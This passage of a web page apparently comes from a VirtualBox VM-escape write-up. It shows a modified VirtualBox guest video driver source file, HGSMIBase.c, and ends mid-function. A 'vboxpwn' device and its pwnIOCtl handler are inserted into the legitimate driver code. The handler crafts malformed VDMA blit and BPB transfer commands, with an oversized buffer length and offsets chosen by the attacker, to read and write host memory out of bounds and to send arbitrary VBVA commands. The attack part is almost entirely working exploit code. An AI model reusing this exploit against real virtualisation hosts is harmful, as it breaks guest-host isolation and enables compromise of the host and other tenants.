class=\"crayon-s\">&#8220;vboxadd&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MODE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;0666&#8221;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p><u>HGSMIBase.c<\/u><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e37d433429326\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* $Id: HGSMIBase.cpp $ *\/  \/** @file   * VirtualBox Video driver, common code &#8211; HGSMI initialisation and helper   * functions.   *\/    \/*   * Copyright (C) 2006-2016 Oracle Corporation   *   * This file is part of VirtualBox Open Source Edition (OSE), as   * available from http:\/\/www.virtualbox.org. This file is free software;   * you can redistribute it and\/or modify it under the terms of the GNU   * General Public License (GPL) as published by the Free Software   * Foundation, in version 2 as it comes in the &#8220;COPYING&#8221; file of the   * VirtualBox OSE distribution. VirtualBox OSE is distributed in the   * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.   *\/    #include &lt;VBox\/VBoxVideoGuest.h&gt;  #include &lt;VBox\/VBoxVideo.h&gt;  #include &lt;VBox\/VBoxGuest.h&gt;  #include &lt;VBox\/Hardware\/VBoxVideoVBE.h&gt;  #include &lt;VBox\/VMMDev.h&gt;    #include &lt;iprt\/asm.h&gt;  #include &lt;iprt\/log.h&gt;  #include &lt;iprt\/string.h&gt;    #include &lt;linux\/printk.h&gt;  #include &lt;linux\/miscdevice.h&gt;  #include &lt;linux\/uaccess.h&gt;  #include &lt;linux\/slab.h&gt;    \/** Send completion notification to the host for the command located at offset   * @a offt into the host command buffer. *\/  static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt)  {      VBoxVideoCmnPortWriteUlong(pCtx-&gt;port, offt);  }      \/**   * Inform the host that a command has been handled.   *   * @param  pCtx   the context containing the heap to be used   * @param  pvMem  pointer into the heap as mapped in @a pCtx to the command to   *                be completed   *\/  DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx,                                            void *pvMem)  {      HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem);      HGSMIOFFSET offMem = HGSMIPointerToOffset(&amp;pCtx-&gt;areaCtx, pHdr);      Assert(offMem != HGSMIOFFSET_VOID);      if(offMem != HGSMIOFFSET_VOID)      {          HGSMINotifyHostCmdComplete(pCtx, offMem);      }  }      \/** Submit an incoming host command to the appropriate handler. *\/  static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx,                                  HGSMIOFFSET offBuffer)  {      int rc = HGSMIBufferProcess(&amp;pCtx-&gt;areaCtx, &amp;pCtx-&gt;channels, offBuffer);      Assert(!RT_FAILURE(rc));      if(RT_FAILURE(rc))      {          \/* failure means the command was not submitted to the handler for some reason           * it&#8217;s our responsibility to notify its completion in this case *\/          HGSMINotifyHostCmdComplete(pCtx, offBuffer);      }      \/* if the cmd succeeded it&#8217;s responsibility of the callback to complete it *\/  }    \/** Get the next command from the host. *\/  static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx)  {      return VBoxVideoCmnPortReadUlong(pCtx-&gt;port);  }      \/** Get and handle the next command from the host. *\/  static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx)  {      HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx);      AssertReturnVoid(offset != HGSMIOFFSET_VOID);      hgsmiHostCmdProcess(pCtx, offset);  }      \/** Drain the host command queue. *\/  DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx)  {      while (pCtx-&gt;pfHostFlags-&gt;u32HostFlags &amp; HGSMIHOSTFLAGS_COMMANDS_PENDING)      {          if (!ASMAtomicCmpXchgBool(&amp;pCtx-&gt;fHostCmdProcessing, true, false))              return;          hgsmiHostCommandQueryProcess(pCtx);          ASMAtomicWriteBool(&amp;pCtx-&gt;fHostCmdProcessing, false);      }  }      \/** Detect whether HGSMI is supported by the host. *\/  DECLHIDDEN(bool) VBoxHGSMIIsSupported(void)  {      uint16_t DispiId;        VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID);      VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI);        DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA);        return (DispiId == VBE_DISPI_ID_HGSMI);  }      \/**   * Allocate and initialise a command descriptor in the guest heap for a   * guest-to-host command.   *   * @returns  pointer to the descriptor&#8217;s command data buffer   * @param  pCtx     the context containing the heap to be used   * @param  cbData   the size of the command data to go into the descriptor   * @param  u8Ch     the HGSMI channel to be used, set to the descriptor   * @param  u16Op    the HGSMI command to be sent, set to the descriptor   *\/  DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                          HGSMISIZE cbData,                                          uint8_t u8Ch,                                          uint16_t u16Op)  {  #ifdef VBOX_WDDM_MINIPORT      return VBoxSHGSMIHeapAlloc (&amp;pCtx-&gt;heapCtx, cbData, u8Ch, u16Op);  #else      return HGSMIHeapAlloc (&amp;pCtx-&gt;heapCtx, cbData, u8Ch, u16Op);  #endif  }      \/**   * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc.   *   * @param  pCtx      the context containing the heap used   * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc   *\/  DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                       void *pvBuffer)  {  #ifdef VBOX_WDDM_MINIPORT      VBoxSHGSMIHeapFree (&amp;pCtx-&gt;heapCtx, pvBuffer);  #else      HGSMIHeapFree (&amp;pCtx-&gt;heapCtx, pvBuffer);  #endif  }      \/**   * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc.   *   * @param  pCtx      the context containing the heap used   * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc   *\/  DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                        void *pvBuffer)  {      \/* Initialize the buffer and get the offset for port IO. *\/      HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&amp;pCtx-&gt;heapCtx), pvBuffer);        Assert(offBuffer != HGSMIOFFSET_VOID);      if (offBuffer != HGSMIOFFSET_VOID)      {          \/* Submit the buffer to the host. *\/          VBoxVideoCmnPortWriteUlong(pCtx-&gt;port, offBuffer);          \/* Make the compiler aware that the host has changed memory. *\/          ASMCompilerBarrier();          return VINF_SUCCESS;      }        return VERR_INVALID_PARAMETER;  }      \/** Inform the host of the location of the host flags in VRAM via an HGSMI   * command. *\/  static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                          HGSMIOFFSET offLocation)  {      HGSMIBUFFERLOCATION *p;      int rc = VINF_SUCCESS;        \/* Allocate the IO buffer. *\/      p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx,                                                sizeof(HGSMIBUFFERLOCATION),                                                HGSMI_CH_HGSMI,                                                HGSMI_CC_HOST_FLAGS_LOCATION);      if (p)      {          \/* Prepare data to be sent to the host. *\/          p-&gt;offLocation = offLocation;          p-&gt;cbLocation  = sizeof(HGSMIHOSTFLAGS);          rc = VBoxHGSMIBufferSubmit(pCtx, p);          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, p);      }      else          rc = VERR_NO_MEMORY;      return rc;  }      \/**   * Inform the host of the location of the host flags in VRAM via an HGSMI   * command.   * @returns  IPRT status value.   * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.   * @returns  VERR_NO_MEMORY        if a heap allocation fails.   * @param    pCtx                  the context of the guest heap to use.   * @param    offLocation           the offset chosen for the flags withing guest   *                                 VRAM.   *\/  DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                               HGSMIOFFSET offLocation)  {      return vboxHGSMIReportFlagsLocation(pCtx, offLocation);  }      \/** Notify the host of HGSMI-related guest capabilities via an HGSMI command.   *\/  static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                   uint32_t fCaps)  {      VBVACAPS *pCaps;      int rc = VINF_SUCCESS;        \/* Allocate the IO buffer. *\/      pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx,                                         sizeof(VBVACAPS), HGSMI_CH_VBVA,                                         VBVA_INFO_CAPS);        if (pCaps)      {          \/* Prepare data to be sent to the host. *\/          pCaps-&gt;rc    = VERR_NOT_IMPLEMENTED;          pCaps-&gt;fCaps = fCaps;          rc = VBoxHGSMIBufferSubmit(pCtx, pCaps);          if (RT_SUCCESS(rc))          {              AssertRC(pCaps-&gt;rc);              rc = pCaps-&gt;rc;          }          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, pCaps);      }      else          rc = VERR_NO_MEMORY;      return rc;  }      \/**   * Notify the host of HGSMI-related guest capabilities via an HGSMI command.   * @returns  IPRT status value.   * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.   * @returns  VERR_NO_MEMORY        if a heap allocation fails.   * @param    pCtx                  the context of the guest heap to use.   * @param    fCaps                 the capabilities to report, see VBVACAPS.   *\/  DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                        uint32_t fCaps)  {      return vboxHGSMISendCapsInfo(pCtx, fCaps);  }      \/** Tell the host about the location of the area of VRAM set aside for the host   * heap. *\/  static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                     uint32_t u32AreaOffset, uint32_t u32AreaSize)  {      VBVAINFOHEAP *p;      int rc = VINF_SUCCESS;        \/* Allocate the IO buffer. *\/      p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx,                                         sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA,                                         VBVA_INFO_HEAP);      if (p)      {          \/* Prepare data to be sent to the host. *\/          p-&gt;u32HeapOffset = u32AreaOffset;          p-&gt;u32HeapSize   = u32AreaSize;          rc = VBoxHGSMIBufferSubmit(pCtx, p);          \/* Free the IO buffer. *\/          VBoxHGSMIBufferFree(pCtx, p);      }      else          rc = VERR_NO_MEMORY;      return rc;  }      \/**   * Get the information needed to map the basic communication structures in   * device memory into our address space.  All pointer parameters are optional.   *   * @param  cbVRAM               how much video RAM is allocated to the device   * @param  poffVRAMBaseMapping  where to save the offset from the start of the   *                              device VRAM of the whole area to map   * @param  pcbMapping           where to save the mapping size   * @param  poffGuestHeapMemory  where to save the offset into the mapped area   *                              of the guest heap backing memory   * @param  pcbGuestHeapMemory   where to save the size of the guest heap   *                              backing memory   * @param  poffHostFlags        where to save the offset into the mapped area   *                              of the host flags   *\/  DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM,                                               uint32_t *poffVRAMBaseMapping,                                               uint32_t *pcbMapping,                                               uint32_t *poffGuestHeapMemory,                                               uint32_t *pcbGuestHeapMemory,                                               uint32_t *poffHostFlags)  {      AssertPtrNullReturnVoid(poffVRAMBaseMapping);      AssertPtrNullReturnVoid(pcbMapping);      AssertPtrNullReturnVoid(poffGuestHeapMemory);      AssertPtrNullReturnVoid(pcbGuestHeapMemory);      AssertPtrNullReturnVoid(poffHostFlags);      if (poffVRAMBaseMapping)          *poffVRAMBaseMapping = cbVRAM &#8211; VBVA_ADAPTER_INFORMATION_SIZE;      if (pcbMapping)          *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE;      if (poffGuestHeapMemory)          *poffGuestHeapMemory = 0;      if (pcbGuestHeapMemory)          *pcbGuestHeapMemory =   VBVA_ADAPTER_INFORMATION_SIZE                                &#8211; sizeof(HGSMIHOSTFLAGS);      if (poffHostFlags)          *poffHostFlags =   VBVA_ADAPTER_INFORMATION_SIZE                           &#8211; sizeof(HGSMIHOSTFLAGS);  }      typedef struct VBOXVDMACBUF_DR  {      uint16_t fFlags;      uint16_t cbBuf;      \/* RT_SUCCESS()     &#8211; on success       * VERR_INTERRUPTED &#8211; on preemption       * VERR_xxx         &#8211; on error *\/      int32_t  rc;      union      {          uint64_t phBuf;          VBOXVIDEOOFFSET offVramBuf;      } Location;      uint64_t aGuestData[7];  } VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR;    typedef struct VBOXVDMACMD  {      VBOXVDMACMD_TYPE enmType;      uint32_t u32CmdSpecific;  } VBOXVDMACMD, *PVBOXVDMACMD;    \/\/ Data structures for BPB_TRANSFER  typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER  {      uint32_t cbTransferSize;      uint32_t fFlags;      union      {          uint64_t phBuf;          VBOXVIDEOOFFSET offVramBuf;      } Src;      union      {          uint64_t phBuf;          VBOXVIDEOOFFSET offVramBuf;      } Dst;  } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;    \/\/ Data structures for PRESENT_BLT  typedef enum  {      VBOXVDMA_PIXEL_FORMAT_UNKNOWN      =  0,      VBOXVDMA_PIXEL_FORMAT_R8G8B8       = 20,      VBOXVDMA_PIXEL_FORMAT_A8R8G8B8     = 21,      VBOXVDMA_PIXEL_FORMAT_X8R8G8B8     = 22,      VBOXVDMA_PIXEL_FORMAT_R5G6B5       = 23,      VBOXVDMA_PIXEL_FORMAT_X1R5G5B5     = 24,      VBOXVDMA_PIXEL_FORMAT_A1R5G5B5     = 25,      VBOXVDMA_PIXEL_FORMAT_A4R4G4B4     = 26,      VBOXVDMA_PIXEL_FORMAT_R3G3B2       = 27,      VBOXVDMA_PIXEL_FORMAT_A8           = 28,      VBOXVDMA_PIXEL_FORMAT_A8R3G3B2     = 29,      VBOXVDMA_PIXEL_FORMAT_X4R4G4B4     = 30,      VBOXVDMA_PIXEL_FORMAT_A2B10G10R10  = 31,      VBOXVDMA_PIXEL_FORMAT_A8B8G8R8     = 32,      VBOXVDMA_PIXEL_FORMAT_X8B8G8R8     = 33,      VBOXVDMA_PIXEL_FORMAT_G16R16       = 34,      VBOXVDMA_PIXEL_FORMAT_A2R10G10B10  = 35,      VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36,      VBOXVDMA_PIXEL_FORMAT_A8P8         = 40,      VBOXVDMA_PIXEL_FORMAT_P8           = 41,      VBOXVDMA_PIXEL_FORMAT_L8           = 50,      VBOXVDMA_PIXEL_FORMAT_A8L8         = 51,      VBOXVDMA_PIXEL_FORMAT_A4L4         = 52,      VBOXVDMA_PIXEL_FORMAT_V8U8         = 60,      VBOXVDMA_PIXEL_FORMAT_L6V5U5       = 61,      VBOXVDMA_PIXEL_FORMAT_X8L8V8U8     = 62,      VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8     = 63,      VBOXVDMA_PIXEL_FORMAT_V16U16       = 64,      VBOXVDMA_PIXEL_FORMAT_W11V11U10    = 65,      VBOXVDMA_PIXEL_FORMAT_A2W10V10U10  = 67  } VBOXVDMA_PIXEL_FORMAT;    typedef struct VBOXVDMA_SURF_DESC  {      uint32_t width;      uint32_t height;      VBOXVDMA_PIXEL_FORMAT format;      uint32_t bpp;      uint32_t pitch;      uint32_t fFlags;  } VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC;    typedef struct VBOXVDMA_RECTL  {      int16_t left;      int16_t top;      uint16_t width;      uint16_t height;  } VBOXVDMA_RECTL, *PVBOXVDMA_RECTL;    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT  {      VBOXVIDEOOFFSET offSrc;      VBOXVIDEOOFFSET offDst;      VBOXVDMA_SURF_DESC srcDesc;      VBOXVDMA_SURF_DESC dstDesc;      VBOXVDMA_RECTL srcRectl;      VBOXVDMA_RECTL dstRectl;      uint32_t u32Reserved;      uint32_t cDstSubRects;      VBOXVDMA_RECTL aDstSubRects[1];  } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;      PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext;  char* g_vram;    typedef struct PwnRequest {      uint32_t type;   \/\/ 1\/4 == read, 2\/5 == write, 3 == custom VBVA command,                       \/\/ 6 == get VRAM size      uint32_t size;      uint64_t offset;      char data[1];  } PwnRequest;    static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) {      printk(&#8220;Handling ioctl()n&#8221;);      uint32_t size = uCmd;      PwnRequest* req = (PwnRequest*)ulArg;        if (size &lt; 16) {          printk(&#8220;Request buffer too small (is=%d)n&#8221;, size);          return -EINVAL;      }        if (req-&gt;type == 1) {          char *p;          printk(&#8220;Preparing VMDA command for reading %u bytes (offset=%lu).n&#8221;, req-&gt;size, req-&gt;offset);            uint32_t header_size =              32 +              sizeof(VBOXVDMACBUF_DR) +              sizeof(VBOXVDMACMD) +              sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);            p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,                                           header_size + req-&gt;size,                                           HGSMI_CH_VBVA,                                           11 \/*VBVA_VDMA_CMD*\/);          if (!p) {              printk(&#8220;Failed to allocate HGSMI memoryn&#8221;);              return -ENOMEM;          }            memset(p + header_size, 0x41, req-&gt;size);            PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);          pCmd-&gt;fFlags = 2\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/;          pCmd-&gt;cbBuf = 0xffff;            PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));          pDmaCmd-&gt;enmType = 1 \/* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT *\/;            PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));          pBlt-&gt;cDstSubRects = 0;          pBlt-&gt;offSrc = req-&gt;offset;          pBlt-&gt;offDst = p &#8211; g_vram + header_size;            pBlt-&gt;srcRectl.width = 1;          pBlt-&gt;srcRectl.height = req-&gt;size;          pBlt-&gt;srcRectl.left = 0;          pBlt-&gt;srcRectl.top = 0;            pBlt-&gt;dstRectl.width = 1;          pBlt-&gt;dstRectl.height = req-&gt;size;          pBlt-&gt;dstRectl.left = 0;          pBlt-&gt;dstRectl.top = 0;            pBlt-&gt;srcDesc.width = 1;          pBlt-&gt;srcDesc.height = req-&gt;size;          pBlt-&gt;srcDesc.format = 20 \/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/;          pBlt-&gt;srcDesc.bpp = 1;          pBlt-&gt;srcDesc.pitch = 1;          pBlt-&gt;srcDesc.fFlags = 0;            pBlt-&gt;dstDesc.width = 1;          pBlt-&gt;dstDesc.height = req-&gt;size;          pBlt-&gt;dstDesc.format = 20 \/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/;          pBlt-&gt;dstDesc.bpp = 1;          pBlt-&gt;dstDesc.pitch = 1;          pBlt-&gt;dstDesc.fFlags = 0;            int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);          VBoxHGSMIBufferFree(g_hgsmiContext, p);          if (RT_FAILURE(rc)) {              printk(&#8220;Error while sending VMDA command: %dn&#8221;, rc);              return -EFAULT;          }            memcpy(req-&gt;data, p+header_size, req-&gt;size);      } else if (req-&gt;type == 2) {          char *p;          printk(&#8220;Preparing VMDA command for writing %u bytes (offset=%lu).n&#8221;, req-&gt;size, req-&gt;offset);            uint32_t header_size =              32 +              sizeof(VBOXVDMACBUF_DR) +              sizeof(VBOXVDMACMD) +              sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);            p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,                                           header_size + req-&gt;size,                                           HGSMI_CH_VBVA,                                           11 \/*VBVA_VDMA_CMD*\/);          if (!p) {              printk(&#8220;Failed to allocate HGSMI memoryn&#8221;);              return -ENOMEM;          }            memcpy(p + header_size, req-&gt;data, req-&gt;size);            PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);          pCmd-&gt;fFlags = 2\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/;          pCmd-&gt;cbBuf = 0xffff;            PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));          pDmaCmd-&gt;enmType = 1 \/* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT *\/;            PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));          pBlt-&gt;cDstSubRects = 0;          pBlt-&gt;offSrc = p &#8211; g_vram + header_size;          pBlt-&gt;offDst = req-&gt;offset;            pBlt-&gt;srcRectl.width = 1;          pBlt-&gt;srcRectl.height = req-&gt;size;          pBlt-&gt;srcRectl.left = 0;          pBlt-&gt;srcRectl.top = 0;            pBlt-&gt;dstRectl.width = 1;          pBlt-&gt;dstRectl.height = req-&gt;size;          pBlt-&gt;dstRectl.left = 0;          pBlt-&gt;dstRectl.top = 0;            pBlt-&gt;srcDesc.width = 1;          pBlt-&gt;srcDesc.height = req-&gt;size;          pBlt-&gt;srcDesc.format = 20 \/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/;          pBlt-&gt;srcDesc.bpp = 1;          pBlt-&gt;srcDesc.pitch = 1;          pBlt-&gt;srcDesc.fFlags = 0;            pBlt-&gt;dstDesc.width = 1;          pBlt-&gt;dstDesc.height = req-&gt;size;          pBlt-&gt;dstDesc.format = 20 \/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/;          pBlt-&gt;dstDesc.bpp = 1;          pBlt-&gt;dstDesc.pitch = 1;          pBlt-&gt;dstDesc.fFlags = 0;            int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);          VBoxHGSMIBufferFree(g_hgsmiContext, p);          if (RT_FAILURE(rc)) {              printk(&#8220;Error while sending VMDA command: %dn&#8221;, rc);              return -EFAULT;          }      } else if (req-&gt;type == 3) {          char *p;          printk(&#8220;Sending custom VBVA command (size=%u).n&#8221;, req-&gt;size);            p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,                                           req-&gt;size,                                           HGSMI_CH_VBVA,                                           req-&gt;offset);          if (!p) {              printk(&#8220;Failed to allocate HGSMI memoryn&#8221;);              return -ENOMEM;          }            memcpy(p, req-&gt;data, req-&gt;size);            int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);          VBoxHGSMIBufferFree(g_hgsmiContext, p);          if (RT_FAILURE(rc)) {              printk(&#8220;Error while sending VBVA command: %dn&#8221;, rc);              return -EFAULT;          }      } else if (req-&gt;type == 4) {          char *p;          printk(&#8220;Preparing BpbTransfer command for reading %u bytes (offset=%llu).n&#8221;, req-&gt;size, req-&gt;offset);            uint32_t header_size =              32 +              sizeof(VBOXVDMACBUF_DR) +              sizeof(VBOXVDMACMD) +              sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);            p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,                                           header_size + req-&gt;size,                                           HGSMI_CH_VBVA,                                           11 \/*VBVA_VDMA_CMD*\/);          if (!p) {              printk(&#8220;Failed to allocate HGSMI memoryn&#8221;);              return -ENOMEM;          }            memset(p + header_size, 0x41, req-&gt;size);            PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);          pCmd-&gt;fFlags = 2\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/;          pCmd-&gt;cbBuf = 0xffff;            PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));          pDmaCmd-&gt;enmType = 2 \/* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER *\/;            PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));          pBpb-&gt;cbTransferSize = req-&gt;size;          pBpb-&gt;fFlags = 3;          pBpb-&gt;Src.offVramBuf = req-&gt;offset;          pBpb-&gt;Dst.offVramBuf = p &#8211; g_vram + header_size;            int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);          VBoxHGSMIBufferFree(g_hgsmiContext, p);          if (RT_FAILURE(rc)) {              printk(&#8220;Error while sending VDMA command: %dn&#8221;, rc);              return -EFAULT;          }            memcpy(req-&gt;data, p+header_size, req-&gt;size);      } else if (req-&gt;type == 5) {          char *p;          printk(&#8220;Preparing BpbTransfer command for writing %u bytes (offset=%llu).n&#8221;, req-&gt;size, req-&gt;offset);            uint32_t header_size =              32 +              sizeof(VBOXVDMACBUF_DR) +              sizeof(VBOXVDMACMD) +              sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);            p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,                                           header_size + req-&gt;size,                                           HGSMI_CH_VBVA,                                           11 \/*VBVA_VDMA_CMD*\/);          if (!p) {              printk(&#8220;Failed to allocate HGSMI memoryn&#8221;);              return -ENOMEM;          }            memcpy(p + header_size, req-&gt;data, req-&gt;size);            PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);          pCmd-&gt;fFlags = 2\/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*\/;          pCmd-&gt;cbBuf = 0xffff;            PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));          pDmaCmd-&gt;enmType = 2 \/* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER *\/;            PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));          pBpb-&gt;cbTransferSize = req-&gt;size;          pBpb-&gt;fFlags = 3;          pBpb-&gt;Dst.offVramBuf = req-&gt;offset;          pBpb-&gt;Src.offVramBuf = p &#8211; g_vram + header_size;            int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);          VBoxHGSMIBufferFree(g_hgsmiContext, p);          if (RT_FAILURE(rc)) {              printk(&#8220;Error while sending VDMA command: %dn&#8221;, rc);              return -EFAULT;          }            memcpy(req-&gt;data, p+header_size, req-&gt;size);      } else if (req-&gt;type == 6) {          printk(&#8220;Getting VRAM sizen&#8221;);          uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA);          memcpy(req-&gt;data, &amp;vram_size, sizeof vram_size);      } else {          printk(&#8220;Unknown request type: %dn&#8221;, req-&gt;type);          return -EFAULT;      }        return 0;  }    static struct file_operations   g_PwnFileOps =  {      owner:          THIS_MODULE,      unlocked_ioctl: pwnIOCtl,  };    static struct miscdevice        g_PwnDevice =  {      minor:          MISC_DYNAMIC_MINOR,      name:           &#8220;vboxpwn&#8221;,      fops:           &amp;g_PwnFileOps,  };      \/**   * Set up the HGSMI guest-to-host command context.   * @returns iprt status value   * @param  pCtx                    the context to set up   * @param  pvGuestHeapMemory       a pointer to the mapped backing memory for   *                                 the guest heap   * @param  cbGuestHeapMemory       the size of the backing memory area   * @param  offVRAMGuestHeapMemory  the offset of the memory pointed to by   *                                 @a pvGuestHeapMemory within the video RAM   *\/  DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx,                                             void *pvGuestHeapMemory,                                             uint32_t cbGuestHeapMemory,                                             